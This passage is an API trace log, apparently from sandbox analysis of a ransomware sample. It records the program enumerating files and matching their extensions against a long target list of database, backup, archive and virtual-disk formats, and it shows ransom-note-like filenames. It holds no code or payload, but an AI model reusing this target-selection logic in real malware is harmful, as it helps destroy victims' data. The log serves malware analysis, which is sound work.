	[0046.765] lstrcmpiW (lpString1="rts", lpString2="vdi") returned -1
	[0046.765] lstrlenW (lpString="vhd") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="vhd") returned -1
	[0046.765] lstrlenW (lpString="vhdx") returned 4
	[0046.765] lstrcmpiW (lpString1="erts", lpString2="vhdx") returned -1
	[0046.765] lstrlenW (lpString="avhd") returned 4
	[0046.765] lstrcmpiW (lpString1="erts", lpString2="avhd") returned 1
	[0046.765] lstrlenW (lpString="db") returned 2
	[0046.765] lstrcmpiW (lpString1="ts", lpString2="db") returned 1
	[0046.765] lstrlenW (lpString="db2") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="db2") returned 1
	[0046.765] lstrlenW (lpString="db3") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="db3") returned 1
	[0046.765] lstrlenW (lpString="dbf") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="dbf") returned 1
	[0046.765] lstrlenW (lpString="mdf") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="mdf") returned 1
	[0046.765] lstrlenW (lpString="mdb") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="mdb") returned 1
	[0046.765] lstrlenW (lpString="sql") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="sql") returned -1
	[0046.765] lstrlenW (lpString="sqlite") returned 6
	[0046.765] lstrcmpiW (lpString1=" Certs", lpString2="sqlite") returned -1
	[0046.766] lstrlenW (lpString="sqlite3") returned 7
	[0046.766] lstrcmpiW (lpString1="d Certs", lpString2="sqlite3") returned -1
	[0046.766] lstrlenW (lpString="sqlitedb") returned 8
	[0046.766] lstrcmpiW (lpString1="nd Certs", lpString2="sqlitedb") returned -1
	[0046.766] lstrlenW (lpString="xml") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="xml") returned -1
	[0046.766] lstrlenW (lpString="$er") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="$er") returned 1
	[0046.766] lstrlenW (lpString="4dd") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="4dd") returned 1
	[0046.766] lstrlenW (lpString="4dl") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="4dl") returned 1
	[0046.766] lstrlenW (lpString="^^^") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="^^^") returned 1
	[0046.766] lstrlenW (lpString="abs") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="abs") returned 1
	[0046.766] lstrlenW (lpString="abx") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="abx") returned 1
	[0046.766] lstrlenW (lpString="accdb") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accdb") returned 1
	[0046.766] lstrlenW (lpString="accdc") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accdc") returned 1
	[0046.766] lstrlenW (lpString="accde") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accde") returned 1
	[0046.766] lstrlenW (lpString="accdr") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accdr") returned 1
	[0046.766] lstrlenW (lpString="accdt") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accdt") returned 1
	[0046.766] lstrlenW (lpString="accdw") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accdw") returned 1
	[0046.766] lstrlenW (lpString="accft") returned 5
	[0046.766] lstrcmpiW (lpString1="Certs", lpString2="accft") returned 1
	[0046.766] lstrlenW (lpString="adb") returned 3
	[0046.766] lstrcmpiW (lpString1="rts", lpString2="adb") returned 1
	[0046.766] lstrlenW (lpString="adb") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="adb") returned 1
	[0046.767] lstrlenW (lpString="ade") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="ade") returned 1
	[0046.767] lstrlenW (lpString="adf") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="adf") returned 1
	[0046.767] lstrlenW (lpString="adn") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="adn") returned 1
	[0046.767] lstrlenW (lpString="adp") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="adp") returned 1
	[0046.767] lstrlenW (lpString="alf") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="alf") returned 1
	[0046.767] lstrlenW (lpString="ask") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="ask") returned 1
	[0046.767] lstrlenW (lpString="btr") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="btr") returned 1
	[0046.767] lstrlenW (lpString="cat") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="cat") returned 1
	[0046.767] lstrlenW (lpString="cdb") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="cdb") returned 1
	[0046.767] lstrlenW (lpString="ckp") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="ckp") returned 1
	[0046.767] lstrlenW (lpString="cma") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="cma") returned 1
	[0046.767] lstrlenW (lpString="cpd") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="cpd") returned 1
	[0046.767] lstrlenW (lpString="dacpac") returned 6
	[0046.767] lstrcmpiW (lpString1=" Certs", lpString2="dacpac") returned -1
	[0046.767] lstrlenW (lpString="dad") returned 3
	[0046.767] lstrcmpiW (lpString1="rts", lpString2="dad") returned 1
	[0046.767] lstrlenW (lpString="dadiagrams") returned 10
	[0046.767] lstrcmpiW (lpString1="ound Certs", lpString2="dadiagrams") returned 1
	[0046.767] lstrlenW (lpString="daschema") returned 8
	[0046.767] lstrcmpiW (lpString1="nd Certs", lpString2="daschema") returned 1
	[0046.767] lstrlenW (lpString="db-journal") returned 10
	[0046.767] lstrcmpiW (lpString1="ound Certs", lpString2="db-journal") returned 1
	[0046.768] lstrlenW (lpString="db-shm") returned 6
	[0046.768] lstrcmpiW (lpString1=" Certs", lpString2="db-shm") returned -1
	[0046.768] lstrlenW (lpString="db-wal") returned 6
	[0046.768] lstrcmpiW (lpString1=" Certs", lpString2="db-wal") returned -1
	[0046.768] lstrlenW (lpString="dbc") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dbc") returned 1
	[0046.768] lstrlenW (lpString="dbs") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dbs") returned 1
	[0046.768] lstrlenW (lpString="dbt") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dbt") returned 1
	[0046.768] lstrlenW (lpString="dbv") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dbv") returned 1
	[0046.768] lstrlenW (lpString="dbx") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dbx") returned 1
	[0046.768] lstrlenW (lpString="dcb") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dcb") returned 1
	[0046.768] lstrlenW (lpString="dct") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dct") returned 1
	[0046.768] lstrlenW (lpString="dcx") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dcx") returned 1
	[0046.768] lstrlenW (lpString="ddl") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="ddl") returned 1
	[0046.768] lstrlenW (lpString="dlis") returned 4
	[0046.768] lstrcmpiW (lpString1="erts", lpString2="dlis") returned 1
	[0046.768] lstrlenW (lpString="dp1") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dp1") returned 1
	[0046.768] lstrlenW (lpString="dqy") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dqy") returned 1
	[0046.768] lstrlenW (lpString="dsk") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dsk") returned 1
	[0046.768] lstrlenW (lpString="dsn") returned 3
	[0046.768] lstrcmpiW (lpString1="rts", lpString2="dsn") returned 1
	[0046.768] lstrlenW (lpString="dtsx") returned 4
	[0046.768] lstrcmpiW (lpString1="erts", lpString2="dtsx") returned 1
	[0046.768] lstrlenW (lpString="dxl") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="dxl") returned 1
	[0046.769] lstrlenW (lpString="eco") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="eco") returned 1
	[0046.769] lstrlenW (lpString="ecx") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="ecx") returned 1
	[0046.769] lstrlenW (lpString="edb") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="edb") returned 1
	[0046.769] lstrlenW (lpString="epim") returned 4
	[0046.769] lstrcmpiW (lpString1="erts", lpString2="epim") returned 1
	[0046.769] lstrlenW (lpString="fcd") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fcd") returned 1
	[0046.769] lstrlenW (lpString="fdb") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fdb") returned 1
	[0046.769] lstrlenW (lpString="fic") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fic") returned 1
	[0046.769] lstrlenW (lpString="flexolibrary") returned 12
	[0046.769] lstrcmpiW (lpString1=" Bound Certs", lpString2="flexolibrary") returned -1
	[0046.769] lstrlenW (lpString="fm5") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fm5") returned 1
	[0046.769] lstrlenW (lpString="fmp") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fmp") returned 1
	[0046.769] lstrlenW (lpString="fmp12") returned 5
	[0046.769] lstrcmpiW (lpString1="Certs", lpString2="fmp12") returned -1
	[0046.769] lstrlenW (lpString="fmpsl") returned 5
	[0046.769] lstrcmpiW (lpString1="Certs", lpString2="fmpsl") returned -1
	[0046.769] lstrlenW (lpString="fol") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fol") returned 1
	[0046.769] lstrlenW (lpString="fp3") returned 3
	[0046.769] lstrcmpiW (lpString1="rts", lpString2="fp3") returned 1
	[0046.770] lstrlenW (lpString="fp4") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="fp4") returned 1
	[0046.770] lstrlenW (lpString="fp5") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="fp5") returned 1
	[0046.770] lstrlenW (lpString="fp7") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="fp7") returned 1
	[0046.770] lstrlenW (lpString="fpt") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="fpt") returned 1
	[0046.770] lstrlenW (lpString="frm") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="frm") returned 1
	[0046.770] lstrlenW (lpString="gdb") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="gdb") returned 1
	[0046.770] lstrlenW (lpString="gdb") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="gdb") returned 1
	[0046.770] lstrlenW (lpString="grdb") returned 4
	[0046.770] lstrcmpiW (lpString1="erts", lpString2="grdb") returned -1
	[0046.770] lstrlenW (lpString="gwi") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="gwi") returned 1
	[0046.770] lstrlenW (lpString="hdb") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="hdb") returned 1
	[0046.770] lstrlenW (lpString="his") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="his") returned 1
	[0046.770] lstrlenW (lpString="ib") returned 2
	[0046.770] lstrcmpiW (lpString1="ts", lpString2="ib") returned 1
	[0046.770] lstrlenW (lpString="idb") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="idb") returned 1
	[0046.770] lstrlenW (lpString="ihx") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="ihx") returned 1
	[0046.770] lstrlenW (lpString="itdb") returned 4
	[0046.770] lstrcmpiW (lpString1="erts", lpString2="itdb") returned -1
	[0046.770] lstrlenW (lpString="itw") returned 3
	[0046.770] lstrcmpiW (lpString1="rts", lpString2="itw") returned 1
	[0046.771] lstrlenW (lpString="jet") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="jet") returned 1
	[0046.771] lstrlenW (lpString="jtx") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="jtx") returned 1
	[0046.771] lstrlenW (lpString="kdb") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="kdb") returned 1
	[0046.771] lstrlenW (lpString="kexi") returned 4
	[0046.771] lstrcmpiW (lpString1="erts", lpString2="kexi") returned -1
	[0046.771] lstrlenW (lpString="kexic") returned 5
	[0046.771] lstrcmpiW (lpString1="Certs", lpString2="kexic") returned -1
	[0046.771] lstrlenW (lpString="kexis") returned 5
	[0046.771] lstrcmpiW (lpString1="Certs", lpString2="kexis") returned -1
	[0046.771] lstrlenW (lpString="lgc") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="lgc") returned 1
	[0046.771] lstrlenW (lpString="lwx") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="lwx") returned 1
	[0046.771] lstrlenW (lpString="maf") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="maf") returned 1
	[0046.771] lstrlenW (lpString="maq") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="maq") returned 1
	[0046.771] lstrlenW (lpString="mar") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="mar") returned 1
	[0046.771] lstrlenW (lpString="marshal") returned 7
	[0046.771] lstrcmpiW (lpString1="d Certs", lpString2="marshal") returned -1
	[0046.771] lstrlenW (lpString="mas") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="mas") returned 1
	[0046.771] lstrlenW (lpString="mav") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="mav") returned 1
	[0046.771] lstrlenW (lpString="maw") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="maw") returned 1
	[0046.771] lstrlenW (lpString="mdbhtml") returned 7
	[0046.771] lstrcmpiW (lpString1="d Certs", lpString2="mdbhtml") returned -1
	[0046.771] lstrlenW (lpString="mdn") returned 3
	[0046.771] lstrcmpiW (lpString1="rts", lpString2="mdn") returned 1
	[0046.772] lstrlenW (lpString="mdt") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="mdt") returned 1
	[0046.772] lstrlenW (lpString="mfd") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="mfd") returned 1
	[0046.772] lstrlenW (lpString="mpd") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="mpd") returned 1
	[0046.772] lstrlenW (lpString="mrg") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="mrg") returned 1
	[0046.772] lstrlenW (lpString="mud") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="mud") returned 1
	[0046.772] lstrlenW (lpString="mwb") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="mwb") returned 1
	[0046.772] lstrlenW (lpString="myd") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="myd") returned 1
	[0046.772] lstrlenW (lpString="ndf") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="ndf") returned 1
	[0046.772] lstrlenW (lpString="nnt") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="nnt") returned 1
	[0046.772] lstrlenW (lpString="nrmlib") returned 6
	[0046.772] lstrcmpiW (lpString1=" Certs", lpString2="nrmlib") returned -1
	[0046.772] lstrlenW (lpString="ns2") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="ns2") returned 1
	[0046.772] lstrlenW (lpString="ns3") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="ns3") returned 1
	[0046.772] lstrlenW (lpString="ns4") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="ns4") returned 1
	[0046.772] lstrlenW (lpString="nsf") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="nsf") returned 1
	[0046.772] lstrlenW (lpString="nv") returned 2
	[0046.772] lstrcmpiW (lpString1="ts", lpString2="nv") returned 1
	[0046.772] lstrlenW (lpString="nv2") returned 3
	[0046.772] lstrcmpiW (lpString1="rts", lpString2="nv2") returned 1
	[0046.772] lstrlenW (lpString="nwdb") returned 4
	[0046.772] lstrcmpiW (lpString1="erts", lpString2="nwdb") returned -1
	[0046.773] lstrlenW (lpString="nyf") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="nyf") returned 1
	[0046.773] lstrlenW (lpString="odb") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="odb") returned 1
	[0046.773] lstrlenW (lpString="odb") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="odb") returned 1
	[0046.773] lstrlenW (lpString="oqy") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="oqy") returned 1
	[0046.773] lstrlenW (lpString="ora") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="ora") returned 1
	[0046.773] lstrlenW (lpString="orx") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="orx") returned 1
	[0046.773] lstrlenW (lpString="owc") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="owc") returned 1
	[0046.773] lstrlenW (lpString="p96") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="p96") returned 1
	[0046.773] lstrlenW (lpString="p97") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="p97") returned 1
	[0046.773] lstrlenW (lpString="pan") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="pan") returned 1
	[0046.773] lstrlenW (lpString="pdb") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="pdb") returned 1
	[0046.773] lstrlenW (lpString="pdm") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="pdm") returned 1
	[0046.773] lstrlenW (lpString="pnz") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="pnz") returned 1
	[0046.773] lstrlenW (lpString="qry") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="qry") returned 1
	[0046.773] lstrlenW (lpString="qvd") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="qvd") returned 1
	[0046.773] lstrlenW (lpString="rbf") returned 3
	[0046.773] lstrcmpiW (lpString1="rts", lpString2="rbf") returned 1
	[0046.773] lstrlenW (lpString="rctd") returned 4
	[0046.773] lstrcmpiW (lpString1="erts", lpString2="rctd") returned -1
	[0046.774] lstrlenW (lpString="rod") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="rod") returned 1
	[0046.774] lstrlenW (lpString="rodx") returned 4
	[0046.774] lstrcmpiW (lpString1="erts", lpString2="rodx") returned -1
	[0046.774] lstrlenW (lpString="rpd") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="rpd") returned 1
	[0046.774] lstrlenW (lpString="rsd") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="rsd") returned 1
	[0046.774] lstrlenW (lpString="sas7bdat") returned 8
	[0046.774] lstrcmpiW (lpString1="nd Certs", lpString2="sas7bdat") returned -1
	[0046.774] lstrlenW (lpString="sbf") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="sbf") returned -1
	[0046.774] lstrlenW (lpString="scx") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="scx") returned -1
	[0046.774] lstrlenW (lpString="sdb") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="sdb") returned -1
	[0046.774] lstrlenW (lpString="sdc") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="sdc") returned -1
	[0046.774] lstrlenW (lpString="sdf") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="sdf") returned -1
	[0046.774] lstrlenW (lpString="sis") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="sis") returned -1
	[0046.774] lstrlenW (lpString="spq") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="spq") returned -1
	[0046.774] lstrlenW (lpString="te") returned 2
	[0046.774] lstrcmpiW (lpString1="ts", lpString2="te") returned 1
	[0046.774] lstrlenW (lpString="teacher") returned 7
	[0046.774] lstrcmpiW (lpString1="d Certs", lpString2="teacher") returned -1
	[0046.774] lstrlenW (lpString="tmd") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="tmd") returned -1
	[0046.774] lstrlenW (lpString="tps") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="tps") returned -1
	[0046.774] lstrlenW (lpString="trc") returned 3
	[0046.774] lstrcmpiW (lpString1="rts", lpString2="trc") returned -1
	[0046.774] lstrlenW (lpString="trc") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="trc") returned -1
	[0046.775] lstrlenW (lpString="trm") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="trm") returned -1
	[0046.775] lstrlenW (lpString="udb") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="udb") returned -1
	[0046.775] lstrlenW (lpString="udl") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="udl") returned -1
	[0046.775] lstrlenW (lpString="usr") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="usr") returned -1
	[0046.775] lstrlenW (lpString="v12") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="v12") returned -1
	[0046.775] lstrlenW (lpString="vis") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="vis") returned -1
	[0046.775] lstrlenW (lpString="vpd") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="vpd") returned -1
	[0046.775] lstrlenW (lpString="vvv") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="vvv") returned -1
	[0046.775] lstrlenW (lpString="wdb") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="wdb") returned -1
	[0046.775] lstrlenW (lpString="wmdb") returned 4
	[0046.775] lstrcmpiW (lpString1="erts", lpString2="wmdb") returned -1
	[0046.775] lstrlenW (lpString="wrk") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="wrk") returned -1
	[0046.775] lstrlenW (lpString="xdb") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="xdb") returned -1
	[0046.775] lstrlenW (lpString="xld") returned 3
	[0046.775] lstrcmpiW (lpString1="rts", lpString2="xld") returned -1
	[0046.775] lstrlenW (lpString="xmlff") returned 5
	[0046.775] lstrcmpiW (lpString1="Certs", lpString2="xmlff") returned -1
	[0046.775] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9405a1b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1
	[0046.775] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.775] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2="Apollon865.txt.exe") returned 1
	[0046.775] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2=".") returned 1
	[0046.775] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2="..") returned 1
	[0046.776] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Origin Bound Certs-journal" | out: lpString1="Origin Bound Certs-journal") returned="Origin Bound Certs-journal"
	[0046.776] lstrlenW (lpString="Origin Bound Certs-journal") returned 26
	[0046.776] lstrlenW (lpString="Apollon865") returned 10
	[0046.776] lstrcmpiW (lpString1="ts-journal", lpString2="Apollon865") returned 1
	[0046.776] lstrlenW (lpString=".dll") returned 4
	[0046.776] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2=".dll") returned 1
	[0046.776] lstrlenW (lpString=".lnk") returned 4
	[0046.776] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2=".lnk") returned 1
	[0046.776] lstrlenW (lpString=".ini") returned 4
	[0046.776] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2=".ini") returned 1
	[0046.776] lstrlenW (lpString=".sys") returned 4
	[0046.776] lstrcmpiW (lpString1="Origin Bound Certs-journal", lpString2=".sys") returned 1
	[0046.776] lstrlenW (lpString="Origin Bound Certs-journal") returned 26
	[0046.776] lstrlenW (lpString="bak") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="bak") returned 1
	[0046.776] lstrlenW (lpString="ba_") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="ba_") returned 1
	[0046.776] lstrlenW (lpString="dbb") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="dbb") returned 1
	[0046.776] lstrlenW (lpString="vmdk") returned 4
	[0046.776] lstrcmpiW (lpString1="rnal", lpString2="vmdk") returned -1
	[0046.776] lstrlenW (lpString="rar") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="rar") returned -1
	[0046.776] lstrlenW (lpString="zip") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="zip") returned -1
	[0046.776] lstrlenW (lpString="tgz") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="tgz") returned -1
	[0046.776] lstrlenW (lpString="vbox") returned 4
	[0046.776] lstrcmpiW (lpString1="rnal", lpString2="vbox") returned -1
	[0046.776] lstrlenW (lpString="vdi") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="vdi") returned -1
	[0046.776] lstrlenW (lpString="vhd") returned 3
	[0046.776] lstrcmpiW (lpString1="nal", lpString2="vhd") returned -1
	[0046.776] lstrlenW (lpString="vhdx") returned 4
	[0046.777] lstrcmpiW (lpString1="rnal", lpString2="vhdx") returned -1
	[0046.777] lstrlenW (lpString="avhd") returned 4
	[0046.777] lstrcmpiW (lpString1="rnal", lpString2="avhd") returned 1
	[0046.777] lstrlenW (lpString="db") returned 2
	[0046.777] lstrcmpiW (lpString1="al", lpString2="db") returned -1
	[0046.777] lstrlenW (lpString="db2") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="db2") returned 1
	[0046.777] lstrlenW (lpString="db3") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="db3") returned 1
	[0046.777] lstrlenW (lpString="dbf") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="dbf") returned 1
	[0046.777] lstrlenW (lpString="mdf") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="mdf") returned 1
	[0046.777] lstrlenW (lpString="mdb") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="mdb") returned 1
	[0046.777] lstrlenW (lpString="sql") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="sql") returned -1
	[0046.777] lstrlenW (lpString="sqlite") returned 6
	[0046.777] lstrcmpiW (lpString1="ournal", lpString2="sqlite") returned -1
	[0046.777] lstrlenW (lpString="sqlite3") returned 7
	[0046.777] lstrcmpiW (lpString1="journal", lpString2="sqlite3") returned -1
	[0046.777] lstrlenW (lpString="sqlitedb") returned 8
	[0046.777] lstrcmpiW (lpString1="-journal", lpString2="sqlitedb") returned -1
	[0046.777] lstrlenW (lpString="xml") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="xml") returned -1
	[0046.777] lstrlenW (lpString="$er") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="$er") returned 1
	[0046.777] lstrlenW (lpString="4dd") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="4dd") returned 1
	[0046.777] lstrlenW (lpString="4dl") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="4dl") returned 1
	[0046.777] lstrlenW (lpString="^^^") returned 3
	[0046.777] lstrcmpiW (lpString1="nal", lpString2="^^^") returned 1
	[0046.777] lstrlenW (lpString="abs") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="abs") returned 1
	[0046.778] lstrlenW (lpString="abx") returned 3
	[0046.778] lstrcmpiW (lpString1="nal", lpString2="abx") returned 1
	[0046.778] lstrlenW (lpString="accdb") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accdb") returned 1
	[0046.778] lstrlenW (lpString="accdc") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accdc") returned 1
	[0046.778] lstrlenW (lpString="accde") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accde") returned 1
	[0046.778] lstrlenW (lpString="accdr") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accdr") returned 1
	[0046.778] lstrlenW (lpString="accdt") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accdt") returned 1
	[0046.778] lstrlenW (lpString="accdw") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accdw") returned 1
	[0046.778] lstrlenW (lpString="accft") returned 5
	[0046.778] lstrcmpiW (lpString1="urnal", lpString2="accft") returned 1
	[0046.778] lstrlenW (lpString="adb") returned 3
